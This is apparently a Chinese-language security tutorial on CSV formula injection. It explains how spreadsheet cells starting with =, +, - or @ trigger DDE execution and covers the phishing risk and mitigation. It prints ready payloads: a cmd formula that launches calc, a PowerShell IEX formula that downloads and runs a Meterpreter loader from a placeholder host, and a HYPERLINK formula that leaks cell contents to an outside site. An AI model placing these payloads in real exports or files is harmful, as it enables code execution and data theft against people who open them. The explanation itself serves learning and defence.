CSV注入

漏洞介绍

CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

现在很多应用提供了导出电子表格的功能(不限于 Web 应用),早在 2014 年 8月 29 日国外 James Kettle 便发表了《Comma Separated Vulnerabilities》文章来讲述导出表格的功能可能会导致注入命令的风险,因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。

漏洞原理

我们知道在 Excel 中是可以运行计算公式的: =1+5 ,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。

image-20210710210755769

虽然单元格的内容在引号内,但由于第一个字符是**=**,它以一个表达式的形式被处理,实际上包括 **= - + @**这样的符号都会触发这种行为,正常来说,如果数据量比较大的情况下,管理员一般不会花那么多时间去一个个检查输入内容是否正常。

执行 cmd 弹出计算器:

我们把输入内容修改为

1
2
=1+cmd|'/C calc'!A0
或%0A-3+3+cmd|'/C calc'!D2

之后点击保存,然后再次打开,会看到如下提示:f

image-20210710210900816

点击 之后,弹出计算器:

image-20210710210917378

这个问题在2014年进行了修复(CVE-2014-3524),所以我们现在注入命令执行时软件会有如下的提示:

image-20210710212437135

漏洞危害

这类漏洞通常不会针对于专业的网络安全人员,毕竟是个搞安全的都知道cmd不要随便启用,但是对于大部分人来说,尤其是正常的企业员工,往往会忽视问题的严重性,可能随手就点了个,因此这类漏洞一种利用方式可以用于钓鱼,另一种也和钓鱼类似,需要网站后台存在导出excel功能,攻击者通过污染数据,当管理员或者其他用户需要用到导出excel功能时,被污染的数据被一起导出,当打开该文件时并且忽略告警提示点了,一起完美的攻击就完成了。

漏洞拓展

Meterpreter Shell 上线

1
=cmd|'/C powershell IEX(wget xxx.xxxx/1X146m3)'!A0

注入代码模板:

1
2
=cmd|'/C ping 127.0.0.1'!A0
=cmd|'/C xxx xxx'!A0

在投票等场景插入了恶意代码:

1
=HYPERLINK("http://linux.im?test="&A2&A3,"Error: Please click me!")

这样就导致当用户在导出报表后倘若点击了某个单元格则会导致 A2,A3 的单元格内容泄露:

image-20210710212838625

漏洞修复

过滤公式所用到的特殊字符(不应盲目过滤),因为个别情况下可能会影响产品的正常功能使用:

  • 手机号码 +86 xxxxx
  • 邮箱地址 @test.com
  • 字符串 test-injection

参考链接

https://www.freebuf.com/vuls/195656.html

https://www.hacking8.com/bugbounty-cheatsheet/cheatsheets/csv-injection.html

https://blog.knownsec.com/2016/05/csv-injection-vulnerability/